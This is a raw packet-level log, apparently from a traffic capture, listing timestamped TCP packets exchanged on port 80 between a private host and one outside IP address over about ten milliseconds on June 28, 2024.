Jun 28, 2024 22:32:06.748619080 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.748653889 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.749191046 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.749202967 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.749221087 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.749233961 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.749238968 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.749249935 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.749260902 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.749273062 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.749279022 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.749290943 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.749303102 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.749310017 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.749320030 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.749330044 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.749337912 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.749349117 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.749358892 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.749368906 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.749376059 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.749386072 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.749398947 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.749411106 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.749417067 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.749428034 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.749439001 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.749449968 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.749475956 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.750169992 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.750180960 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.750202894 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.750211954 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.750221968 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.750231981 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.750245094 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.750252008 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.750262022 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.750272989 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.750279903 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.750289917 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.750307083 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.750313044 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.750323057 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.750330925 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.750339985 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.750349998 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.750359058 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.750370979 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.750382900 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.750389099 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.750400066 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.750411987 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.750420094 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.750430107 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.750439882 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.750463009 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.751008034 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.751019955 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.751050949 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.751085043 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.751195908 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.751207113 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.751216888 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.751230001 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.751238108 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.751247883 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.751259089 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.751270056 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.751275063 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.751285076 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.751293898 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.751303911 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.751316071 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.751322985 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.751333952 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.751342058 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.751352072 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.751363039 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.751375914 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.751380920 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.751390934 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.751403093 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.751413107 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.751442909 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.752043009 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.752055883 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.752065897 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.752078056 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.752085924 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.752095938 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.752104044 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.752114058 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.752125025 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.752139091 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.752146006 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.752176046 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.752192974 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.752197981 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.752207994 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.752218962 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.752229929 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.752237082 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.752249956 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.752258062 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.752268076 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.752279997 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.752295017 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.752300978 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.752310991 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.752321959 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.752331018 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.752342939 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.752351046 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.752367973 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.752401114 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.753082037 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.753093958 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.753104925 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.753115892 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.753124952 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.753144979 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.753150940 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.753160000 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.753171921 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.753180981 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.753189087 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.753201008 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.753210068 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.753221035 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.753228903 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.753237963 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.753248930 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.753263950 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.753273010 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.753278017 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.753288031 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.753298998 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.753314018 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.753321886 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.753331900 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.753340006 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.753350973 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.753359079 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.753367901 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.753379107 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.753396988 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.753432035 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.754026890 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.754039049 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.754055977 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.754065990 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.754076958 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.754096031 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.754103899 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.754112959 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.754128933 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.754137039 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.754147053 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.754157066 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.754163980 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.754175901 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.754190922 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.754196882 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.754208088 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.754220009 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.754226923 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.754236937 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.754246950 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.754281998 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.754894972 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.754913092 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.754925013 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.754933119 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.754944086 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.754956007 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.754966021 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.754976034 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.754987001 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.755002022 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.755007029 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.755017996 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.755027056 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.755037069 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.755049944 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.755054951 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.755067110 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.755075932 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.755085945 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.755098104 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.755108118 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.755115986 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.755127907 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.755139112 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.755146980 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.755156994 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.755167007 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.755175114 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.755196095 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.755233049 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.756136894 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.756155014 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.756165981 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.756175995 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.756185055 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.756196976 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.756206989 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.756215096 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.756226063 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.756237030 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.756243944 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.756254911 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.756263018 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.756273985 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.756285906 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.756292105 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.756305933 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.756311893 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.756324053 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.756335020 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.756342888 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.756352901 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.756365061 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.756371021 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.756381989 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.756392956 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.756400108 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.756428003 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.756442070 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.756654978 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.756666899 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.756678104 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.756689072 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.756696939 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.756706953 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.756717920 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.756728888 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.756737947 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.756747961 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.756756067 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.756764889 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.756776094 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.756783009 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.756793976 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.756804943 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.756812096 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.756822109 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.756839991 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.756849051 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.756858110 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.756870031 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.756890059 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.757253885 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.757265091 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.757277012 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.757287979 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.757296085 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.757306099 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.757318020 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.757330894 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.757335901 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.757349968 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.757354975 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.757364035 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.757371902 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.757381916 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.757392883 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.757404089 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.757411003 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.757422924 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.757433891 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.757441998 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.757452011 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.757460117 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.757468939 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.757477999 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.757486105 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.757498980 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.757508993 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.757517099 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.757527113 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.757538080 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.757551908 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.757558107 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.757566929 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.757575989 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.757596016 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.757628918 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.758251905 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.758263111 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.758275032 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.758280993 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.758290052 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.758299112 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.758310080 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.758317947 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.758327961 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.758338928 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.758347034 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.758363962 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.758371115 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.758380890 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.758392096 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.758400917 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.758410931 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.758421898 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.758431911 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.758440971 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.758450031 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.758460045 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.758469105 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.758476019 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.758482933 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.758495092 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.758501053 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.758508921 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.758517981 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.758524895 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.758536100 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.758542061 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.758549929 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.758560896 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.758588076 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.759207964 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.759217978 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.759232044 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.759241104 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.759248018 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.759255886 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.759265900 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.759273052 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.759280920 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.759291887 CEST	80	49731	85.28.47.4	192.168.2.4
